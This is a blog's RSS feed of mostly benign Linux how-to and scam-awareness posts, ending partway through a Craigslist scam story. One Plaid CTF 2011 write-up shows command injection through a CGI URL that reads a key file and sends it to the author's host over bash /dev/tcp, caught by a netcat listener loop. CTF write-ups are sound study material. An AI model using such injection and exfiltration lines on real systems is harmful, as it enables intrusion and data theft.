<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rajat Swarup&#039;s Blog</title>
	<atom:link href="http://www.rajatswarup.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rajatswarup.com/blog</link>
	<description>From 0x00000000 to 0xFFFFFFFF</description>
	<lastBuildDate>Mon, 20 Feb 2012 17:29:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Custom Android Kernel Compilation HOWTO</title>
		<link>http://www.rajatswarup.com/blog/2012/02/19/android-kernel-compilation-howto/</link>
		<comments>http://www.rajatswarup.com/blog/2012/02/19/android-kernel-compilation-howto/#comments</comments>
		<pubDate>Sun, 19 Feb 2012 20:35:56 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[AVD]]></category>
		<category><![CDATA[compilation]]></category>
		<category><![CDATA[kernel]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=329</guid>
		<description><![CDATA[I have been trying for the last few weeks to get the Android Kernel source and then build a kernel of my own and then load it into the emulator to try to test out the modules. I spent numerous hours in trying to understand about how to go about it. So here&#8217;s a post [...]]]></description>
			<content:encoded><![CDATA[<p>I have been trying for the last few weeks to get the Android Kernel source and then build a kernel of my own and then load it into the emulator to try to test out the modules.  I spent numerous hours in trying to understand about how to go about it.  So here&#8217;s a post so I can log all that I did in an effort from going from nothing to having my kernel loaded in the Android Emulator.</p>
<p>There are posts such as <a href="http://blog.eeknay.net/2012/03/02/android-kernel/">the one on eeknay32&#8242;s blog</a> and <a href="http://stackoverflow.com/questions/1809774/android-kernel-compile-and-test-with-android-emulator">the Stackoverflow post</a> that really helped me in getting started.  Also there is a HOWTO in the qemu documentation located at <a href="https://www.codeaurora.org/git/projects/qrd-gb-dsds-7225/repository/revisions/cc99b832a941dc8cbb86f1607d04eb87935ddbfd/entry/android/external/qemu/docs/KERNEL.TXT">external/qemu/docs/KERNEL.TXT</a></p>
<p>I first started to follow the directions from <a href="http://source.android.com/source/initializing.htmlhttp://source.android.com/source/initializing.htmlhttp://source.android.com/source/initializing.html">here</a> but this is only to get the source code of the Android SDK and other tools and to compile those.  That was not initially my goal because getting the source of the tools and SDK was not my goal.  Don&#8217;t bother downloading this (you could get the tools pre-compiled) unless you really want to compile the tools on your own.</p>
<p>The following steps will help you compile the code for the Android emulator and other tools:<br />
<code>sudo apt-get install git-core gnupg flex bison gperf build-essential \<br />
  zip curl zlib1g-dev libc6-dev lib32ncurses5-dev ia32-libs \<br />
  x11proto-core-dev libx11-dev lib32readline5-dev lib32z-dev \<br />
  libgl1-mesa-dev g++-multilib mingw32 tofrodos python-markdown \<br />
  libxml2-utils xsltproc<br />
mkdir ~/bin<br />
export PATH=~/bin:$PATH<br />
curl https://dl-ssl.google.com/dl/googlesource/git-repo/repo > ~/bin/repo<br />
chmod a+x ~/bin/repo<br />
cd src<br />
repo init -u https://android.googlesource.com/platform/manifest -b android-2.3_r1<br />
repo sync<br />
. build/envsetup.sh<br />
lunch full-eng<br />
</code></p>
<p>Now going to our main goal.  </p>
<p>Get the Android source<br />
<code>git clone https://android.googlesource.com/kernel/goldfish.git goldfish<br />
cd goldfish</code><br />
Put the cross compilation toolchain into your path and also put the tools (emulator, android tools etc) in your path:<br />
<code>export PATH=$PATH:~/bin:~/bin/src/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin:/root/bin/src/out/host/linux-x86/bin<br />
make ARCH=arm goldfish_defconfig<br />
make ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-eabi- -j4</code><br />
<a href="http://code.google.com/p/android-kernel-analysis/wiki/KernelBuildErrors">This</a> is a good resource on different errors you could encounter.  If you get a message &#8220;<code>zImage is ready</code>&#8221; you are good to load this image into the emulator to have a running emulator.<br />
Before you run the <code>android</code> tool you need to first set an environment variable otherwise the tool will complain that ANDROID_SWT is not set.<br />
<code>export ANDROID_SWT=/root/bin/src/prebuilt/linux-x86_64/swt</code></p>
<p>Now you have to download some of the SDK Framework from the Google website so that you can create your own Android Virtual Device (AVD).  Without downloading the SDK platform you will get no output when you issue the  following command:<br />
<code>android list targets</code><br />
After you get the right ANDROID platform you can issue the following commands:<br />
<code>android create avd -n my_android1.5 -t 1<br />
emulator -kernel ~/bin/kern/kernel-common/goldfish/arch/arm/boot/zImage  -show-kernel -verbose  @my_android1.5 </code><br />
Now you should have a running emulator with your shiny new kernel.<br />
Now if you want to compile your own kernel module and load it into the emulator at runtime then you need to use Android Debug Bridge (ADB) tool.  See this <a href="http://blog.eeknay.net/2012/03/02/android-kernel/">post</a>, where the author creates a kernel module.  For me I had to modify the Makefile a little as shown below:<br />
<code>VERSION = 2<br />
PATCHLEVEL = 6<br />
SUBLEVEL = 29<br />
EXTRAVERSION = -00054-g5f01537<br />
obj-m += hello.o<br />
KDIR=/root/bin/kern/kernel-common/goldfish<br />
PWD := $(shell pwd)<br />
all:<br />
        make -C $(KDIR) ARCH=arm CROSS_COMPILE=/root/bin/src1/prebuilt/linux-x86/toolchain/arm-eabi-4.4.0/bin/arm-eabi- SUBDIRS=$(PWD) modules</p>
<p>clean:<br />
        make -C $(KDIR) ARCH=arm CROSS_COMPILE=/root/bin/src1/prebuilt/linux-x86/toolchain/arm-eabi-4.4.0/bin/arm-eabi- SUBDIRS=$(PWD) clean<br />
</code><br />
Issue the <code>make</code> command from the directory where you have your makefile and the sources to get hello.ko.<br />
See the partition not mounted as read only by searching for &#8220;rw&#8221; mount mode by issuing the following command:<br />
<code>/root/bin/src/out/host/linux-x86/bin/adb shell mount<br />
/root/bin/src/out/host/linux-x86/bin/adb push hello.ko /data<br />
/root/bin/src/out/host/linux-x86/bin/adb insmod /data/hello.ko</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2012/02/19/android-kernel-compilation-howto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brother HL-2040 Linux install on Backtrack 4</title>
		<link>http://www.rajatswarup.com/blog/2011/10/31/brother-hl-2040-linux-install-on-backtrack-4/</link>
		<comments>http://www.rajatswarup.com/blog/2011/10/31/brother-hl-2040-linux-install-on-backtrack-4/#comments</comments>
		<pubDate>Mon, 31 Oct 2011 23:42:36 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[printer]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=322</guid>
		<description><![CDATA[I was getting CUPSD errors when trying to use my Laser Brother HL 2040 printer. But, you can install Brother HL-2040 by going to the brother website and downloading the linux drivers located here: http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#HL-2040 I just installed the lpd driver using the command as follows: $ sudo dpkg -i brhl2070nlpr-2.0.1-1.i386.deb When printing now, just [...]]]></description>
			<content:encoded><![CDATA[<p>I was getting CUPSD errors when trying to use my Laser Brother HL 2040 printer.  But, you can install Brother HL-2040 by going to the brother website and downloading the linux drivers located here:</p>
<p>http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#HL-2040</p>
<p>I just installed the lpd driver using the command as follows:<br />
<code>$ sudo dpkg -i  brhl2070nlpr-2.0.1-1.i386.deb</code><br />
When printing now, just select local lpd and then select brother-HL2070 printer from the list (the drivers for both versions are same).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/10/31/brother-hl-2040-linux-install-on-backtrack-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Android Source Downloading Errors</title>
		<link>http://www.rajatswarup.com/blog/2011/10/30/android-source-downloading-errors/</link>
		<comments>http://www.rajatswarup.com/blog/2011/10/30/android-source-downloading-errors/#comments</comments>
		<pubDate>Sun, 30 Oct 2011 19:07:03 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[repo]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=318</guid>
		<description><![CDATA[Over this weekend I decided to download the Android source tree on my computer (Backtrack 4 R2). The BT4R2 is no longer supported by the Offsec/Backtrack guys (mutt, purehate, etc.). To start off with I tried to follow the instructions listed here. The first error I got was with Git, I was using a version [...]]]></description>
			<content:encoded><![CDATA[<p>Over this weekend I decided to download the Android source tree on my computer (Backtrack 4 R2). The BT4R2 is no longer supported by the Offsec/Backtrack guys (mutt, purehate, etc.).<br />
To start off with I tried to follow the instructions listed <a href="http://source.android.com/source/downloading.html">here</a>.<br />
The first error I got was with Git, I was using a version earlier than 1.5.4.  So I downloaded git version 1.7.4, compiled it and installed it. Then I got the error:<br />
<code>fatal: unable to find remote handler for 'https'</code><br />
Too bad, I tried recompiling and what not, and I did have openssl&#8230;so what was the problem?<br />
The problem was not having libcurl-devel library.  So I downloaded the library and launched configure, make clean, make and make install to reinstall git.  Now the error was gone.</p>
<p>On the step where I am supposed to execute the following:<br />
<code>$ repo init -u https://android.googlesource.com/platform/manifest</code><br />
I got the following error:<br />
<code><br />
Exception in thread Thread-1:<br />
Traceback (most recent call last):<br />
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner<br />
self.run()<br />
File "/usr/lib/python2.5/threading.py", line 446, in run<br />
self.__target(*self.__args, **self.__kwargs)<br />
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper<br />
success = project.Sync_NetworkHalf(quiet=opt.quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf<br />
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):<br />
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle<br />
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle<br />
size = r.headers['content-length']<br />
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__<br />
return self.dict[name.lower()]<br />
KeyError: 'content-length'<br />
Exception in thread Thread-3:<br />
Traceback (most recent call last):<br />
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner<br />
self.run()<br />
File "/usr/lib/python2.5/threading.py", line 446, in run<br />
self.__target(*self.__args, **self.__kwargs)<br />
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper<br />
success = project.Sync_NetworkHalf(quiet=opt.quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf<br />
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):<br />
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle<br />
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle<br />
size = r.headers['content-length']<br />
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__<br />
return self.dict[name.lower()]<br />
KeyError: 'content-length'<br />
Exception in thread Thread-4:<br />
Traceback (most recent call last):<br />
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner<br />
self.run()<br />
File "/usr/lib/python2.5/threading.py", line 446, in run<br />
self.__target(*self.__args, **self.__kwargs)<br />
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper<br />
success = project.Sync_NetworkHalf(quiet=opt.quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf<br />
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):<br />
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle<br />
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle<br />
size = r.headers['content-length']<br />
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__<br />
return self.dict[name.lower()]<br />
KeyError: 'content-length'<br />
Exception in thread Thread-2:<br />
Traceback (most recent call last):<br />
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner<br />
self.run()<br />
File "/usr/lib/python2.5/threading.py", line 446, in run<br />
self.__target(*self.__args, **self.__kwargs)<br />
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper<br />
success = project.Sync_NetworkHalf(quiet=opt.quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf<br />
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):<br />
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle<br />
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle<br />
size = r.headers['content-length']<br />
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__<br />
return self.dict[name.lower()]<br />
KeyError: 'content-length'<br />
Exception in thread Thread-5:<br />
Traceback (most recent call last):<br />
File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner<br />
self.run()<br />
File "/usr/lib/python2.5/threading.py", line 446, in run<br />
self.__target(*self.__args, **self.__kwargs)<br />
File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper<br />
success = project.Sync_NetworkHalf(quiet=opt.quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf<br />
if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet):<br />
File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle<br />
exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet)<br />
File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle<br />
size = r.headers['content-length']<br />
File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__<br />
return self.dict[name.lower()]<br />
KeyError: 'content-length'<br />
error: Exited sync due to fetch errors<br />
</code></p>
<p>Seems like this error is caused because the content-length http header is not sent by the repository.  If you upgrade to Python 2.7.x you can resolve this error.<br />
Now if you are compiling Python from source, it doesn&#8217;t come by default with SSL support.  So to add SSL support you should edit the Python-2.7/Modules/Setup file and uncomment four lines:<br />
<code>_socket socketmodule.c<br />
# Socket module helper for SSL support; you must comment out the other<br />
# socket line above, and possibly edit the SSL variable:<br />
SSL=/usr<br />
_ssl _ssl.c \<br />
        -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \<br />
        -L$(SSL)/lib -lssl -lcrypto</code><br />
Of course, then you can do the standard steps to compile and install python:<br />
<code>$ ./configure<br />
$ make<br />
$ sudo make install</code></p>
<p>repo sync would work very well thereafter.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/10/30/android-source-downloading-errors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The case of an ID theft scam</title>
		<link>http://www.rajatswarup.com/blog/2011/10/25/the-case-of-an-id-theft-scam/</link>
		<comments>http://www.rajatswarup.com/blog/2011/10/25/the-case-of-an-id-theft-scam/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 17:44:41 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[crime]]></category>
		<category><![CDATA[identiy theft]]></category>
		<category><![CDATA[scam]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=316</guid>
		<description><![CDATA[An interesting incident happened this past week to a friend &#8211; he had his identity stolen. More specifically, someone got a hold of his social security number (SSN), his date of birth (apparently) and his address. What the scammers or their &#8220;mules&#8221; (a term used to describe criminals who act on behalf of the actual [...]]]></description>
			<content:encoded><![CDATA[<p>An interesting incident happened this past week to a friend &#8211; he had his identity stolen. More specifically, someone got a hold of his social security number (SSN), his date of birth (apparently) and his address. What the scammers or their &#8220;mules&#8221; (a term used to describe criminals who act on behalf of the actual criminal at their behest) did was that they went to the bank and requested to wire a huge sum of money to an account. The neat trick they played was before actually going to the bank they called the Verizon helpdesk and suspended my friend&#8217;s phone service. When they reached the bank and showed the bank agent the ID (some sort of a non-standard / fake ID) and gave the SSN to the bank agent, he/she grew suspicious and tried to contact my friend. However, due to Verizon suspending his phone service, the bank agent couldn&#8217;t get a hold of my friend. Luckily, the bank agent also sent my friend an email to which he responded promptly. The culprits were arrested and the investigation is still on.<br />
What was quite interesting was, the modus operandi where the criminals know that banks rely on calling the customers if they suspect fraud and they had this covered. Quite intelligent.<br />
So, you know what you need to do if your phone suddenly stops working &#8211; check if ID thieves have had a run on you, change all your passwords including email, change your credit card accounts and bank accounts and PINs and place a hold on your credit history with the credit reporting agencies such as Experian, Equifax and TransUnion.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/10/25/the-case-of-an-id-theft-scam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Truecrypt password in history file</title>
		<link>http://www.rajatswarup.com/blog/2011/09/10/truecrypt-password-in-history-file/</link>
		<comments>http://www.rajatswarup.com/blog/2011/09/10/truecrypt-password-in-history-file/#comments</comments>
		<pubDate>Sun, 11 Sep 2011 01:49:34 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[command-line]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[truecrypt]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=314</guid>
		<description><![CDATA[To avoid saving the truecrypt password in history files and mounting the Truecrypt partitions on bash the following trick helps: history -d $((HISTCMD-1)) &#38;&#38; sudo truecrypt --mount &#60;PATH_TO_TRUECRYPT_VOL&#62; --non-interactive -p &#60;PASSWORD&#62; This will avoid saving the password in the .bash_history file and also mount the truecrypt volume from the command line.  Of course, if you [...]]]></description>
			<content:encoded><![CDATA[<p>To avoid saving the truecrypt password in history files and mounting the Truecrypt partitions on bash the following trick helps:</p>
<p><code>history -d $((HISTCMD-1)) &amp;&amp; sudo truecrypt --mount &lt;PATH_TO_TRUECRYPT_VOL&gt; --non-interactive -p &lt;PASSWORD&gt;</code></p>
<p>This will avoid saving the password in the .bash_history file and also mount the truecrypt volume from the command line.  Of course, if you use this in a shell script then the shell script will have the password in it, so you must not do that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/09/10/truecrypt-password-in-history-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VPNC Connection Status</title>
		<link>http://www.rajatswarup.com/blog/2011/05/04/vpnc-connection-status/</link>
		<comments>http://www.rajatswarup.com/blog/2011/05/04/vpnc-connection-status/#comments</comments>
		<pubDate>Wed, 04 May 2011 19:35:02 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[cvpn]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=311</guid>
		<description><![CDATA[I was using the vpnc the other day on my Backtrack 4 R2 system to log in to VPN. I noticed that there was nothing that would give me the status of whether or not the tunnel was up. So I wrote a small one-liner to help me: while [ `ps aux &#124;grep vpnc&#124;grep -v [...]]]></description>
			<content:encoded><![CDATA[<p>I was using the vpnc the other day on my Backtrack 4 R2 system to log in to VPN.  I noticed that there was nothing that would give me the status of whether or not the tunnel was up.  So I wrote a small one-liner to help me:<br />
<code><br />
while [ `ps aux |grep vpnc|grep -v grep|awk '{print $2}'` ] ; do printf "Connected\r"; done<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/05/04/vpnc-connection-status/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Plaid CtF 2011 &#8211; Writeup #16</title>
		<link>http://www.rajatswarup.com/blog/2011/04/25/plaid-ctf-2011-writeup-16/</link>
		<comments>http://www.rajatswarup.com/blog/2011/04/25/plaid-ctf-2011-writeup-16/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 15:19:15 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[pctf2011]]></category>
		<category><![CDATA[writeup]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=308</guid>
		<description><![CDATA[The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics. My writeup for #16 &#8211; Plain sight [200 pts] web The problem was The time to strike is now! This fiendish [...]]]></description>
			<content:encoded><![CDATA[<p>The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend.  It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.<br />
<strong><br />
My writeup for #16 &#8211; Plain sight [200 pts] web</strong><br />
The problem was</p>
<blockquote><p>
The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)<br />
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.<br />
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.<br />
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only<br />
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes<br />
installed.</p>
<p>Find what AED is hiding, good luck and godspeed.</p></blockquote>
<p>There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.<br />
bash, cat, less, more, ls were allowed. </p>
<p>First thing I did was checked if the bash TCP connections were allowed using:</p>
<p>http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000</p>
<p>That seemed to work.  So then I listed the directories one by one until I bumped onto:<br />
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop<br />
<code> while [ 1 ]<br />
 do<br />
   nc -l -v -p 5000<br />
 done<br />
</code><br />
The answer was esc4p3_str1ng5.</p>
<p>Fun times!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/04/25/plaid-ctf-2011-writeup-16/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>BackTrack4 R2 iwlagn error</title>
		<link>http://www.rajatswarup.com/blog/2011/04/07/backtrack4-r2-iwlagn-error/</link>
		<comments>http://www.rajatswarup.com/blog/2011/04/07/backtrack4-r2-iwlagn-error/#comments</comments>
		<pubDate>Fri, 08 Apr 2011 02:29:11 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Bt4]]></category>
		<category><![CDATA[BT4R2]]></category>
		<category><![CDATA[iwlagn]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=305</guid>
		<description><![CDATA[i updated my backtrack 4 R1 finally using the directions mentioned here. However, after the upgrade my Intel Corporation Wireless WiFi Link 5100 wireless adapter stopped working. My first thought was that the driver was corrupted or something after the upgrade. But looking through the &#8216;dmesg&#8216; command output it became clear that during the startup [...]]]></description>
			<content:encoded><![CDATA[<p>i updated my backtrack 4 R1 finally using the directions mentioned <a href="http://www.backtrack-linux.org/wiki/index.php/Upgrading">here</a>.  However, after the upgrade my Intel Corporation Wireless WiFi Link 5100 wireless adapter stopped working.  My first thought was that the driver was corrupted or something after the upgrade.<br />
But looking through the &#8216;<code>dmesg</code>&#8216; command output it became clear that during the startup a particular file iwlwifi-5000-2.ucode could not be located.  I thought a reinstall will do it (always works right?).<br />
<code># apt-get install firmware-iwlwifi</code><br />
No luck yet!  Searching for these files showed me that they were in two locations and both of these were identical (verified via <code>md5sum</code>) :<br />
<code>/lib/firmware-2.6.30.9/iwlwifi-5000-2.ucode<br />
/lib/firmware-2.6.34/iwlwifi-5000-2.ucode</code><br />
So I just added a symbolic link as follows:<br />
<code>ln -s /lib/firmware-2.6.34/iwlwifi-5000-2.ucode /lib/firmware-2.6.35.8/iwlwifi-5000-2.ucode</code><br />
Voila! It now worked!  Hope it helps!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/04/07/backtrack4-r2-iwlagn-error/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Kerberos/Samba/AD account lockouts</title>
		<link>http://www.rajatswarup.com/blog/2011/01/25/ad-account-lockouts/</link>
		<comments>http://www.rajatswarup.com/blog/2011/01/25/ad-account-lockouts/#comments</comments>
		<pubDate>Tue, 25 Jan 2011 19:07:25 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[HowTo]]></category>
		<category><![CDATA[account lockout]]></category>
		<category><![CDATA[AD]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[kerberos]]></category>
		<category><![CDATA[krbtgt]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[winbind]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=268</guid>
		<description><![CDATA[I kept getting the following errors on my AD domain in the event viewer and accounts kept locking out: Pre-authentication failed: User Name:      user1 User ID:                DOMAIN\user1 Service Name:   krbtgt/DOMAIN.COM Pre-Authentication Type:        0x0 Failure Code:   0x12 Client Address: 192.168.246.134 For more [...]]]></description>
			<content:encoded><![CDATA[<p>I kept getting the following errors on my AD domain in the event viewer and accounts kept locking out:<br />
<code>Pre-authentication failed:<br />
User Name:      user1<br />
User ID:                DOMAIN\user1<br />
Service Name:   krbtgt/<a href="http://domain.com/" target="_blank">DOMAIN.COM</a><br />
Pre-Authentication Type:        0x0<br />
Failure Code:   0x12<br />
Client Address: 192.168.246.134</p>
<p>For more information, see Help and Support Center at<br />
<a href="http://go.microsoft.com/fwlink/events.asp" target="_blank">http://go.microsoft.com/fwlink/events.asp</a>.</code></p>
<p>In the Directory Service logs I see the following entry:<br />
[snip]<br />
<code>Active Directory could not update the following object with changes<br />
received from the domain controller at the following network address<br />
because Active Directory was busy processing information.</p>
<p>Object:<br />
CN=User 1,OU=Testing Services Team,OU=TESTER V,DC=domain,DC=com<br />
Network address:<br />
e5523049-53f1-4274-858b-</p>
<div id=":1vt">c68971599acf._<a href="http://msdcs.domain.com/" target="_blank">msdcs.domain.com</a></p>
<p>This operation will be tried again later.</p>
<p>For more information, see Help and Support Center at<br />
<a href="http://go.microsoft.com/fwlink/events.asp" target="_blank">http://go.microsoft.com/fwlink/events.asp</a>.<br />
</code>
</div>
<p>Turns out this happens if you have samba/winbind/AD type infrastructure.  If someone has some processes running (Even if they us sudo) and happen to change their password while the process is running on unix (and using kerberos authentication), the accounts lockout because the kerberos ticket granting ticket (krbtgt) is not current and any object access is considered to be a failed login attempt.  This locks out the accounts if you have account lockout implemented in your AD domain security policy.  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.rajatswarup.com/blog/2011/01/25/ad-account-lockouts/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Craigslist Scams</title>
		<link>http://www.rajatswarup.com/blog/2010/12/06/craigslist-scams/</link>
		<comments>http://www.rajatswarup.com/blog/2010/12/06/craigslist-scams/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 07:59:08 +0000</pubDate>
		<dc:creator>Rajat</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[craigslist]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[scam]]></category>
		<category><![CDATA[social engineering]]></category>

		<guid isPermaLink="false">http://www.rajatswarup.com/blog/?p=261</guid>
		<description><![CDATA[One of my acquaintances told me today of an innovative scam. So this friend of mine posted an advertisement for renting her apartment out on craigslist. As soon as she posted the ad, an email response came that looked absolutely legitimate. The respondent claimed that he was a professor in the UK and would be [...]]]></description>
			<content:encoded><![CDATA[<p>One of my acquaintances told me today of an innovative scam.<br />
So this friend of mine posted an advertisement for renting her apartment out on craigslist.  As soon as she posted the ad, an email response came that looked absolutely legitimate.<br />
The respondent claimed that he was a professor in the UK and would be visiting the US on a sabbatical.  He even listed a phone number for contact as well as gave some very legitimate looking references.  The respondent also said that he wanted to rent the apartment in about 1 months&#8217; time. So far all good.  My friend contacted the respondent over the phone and there was nothing odd about the conversation.<br />
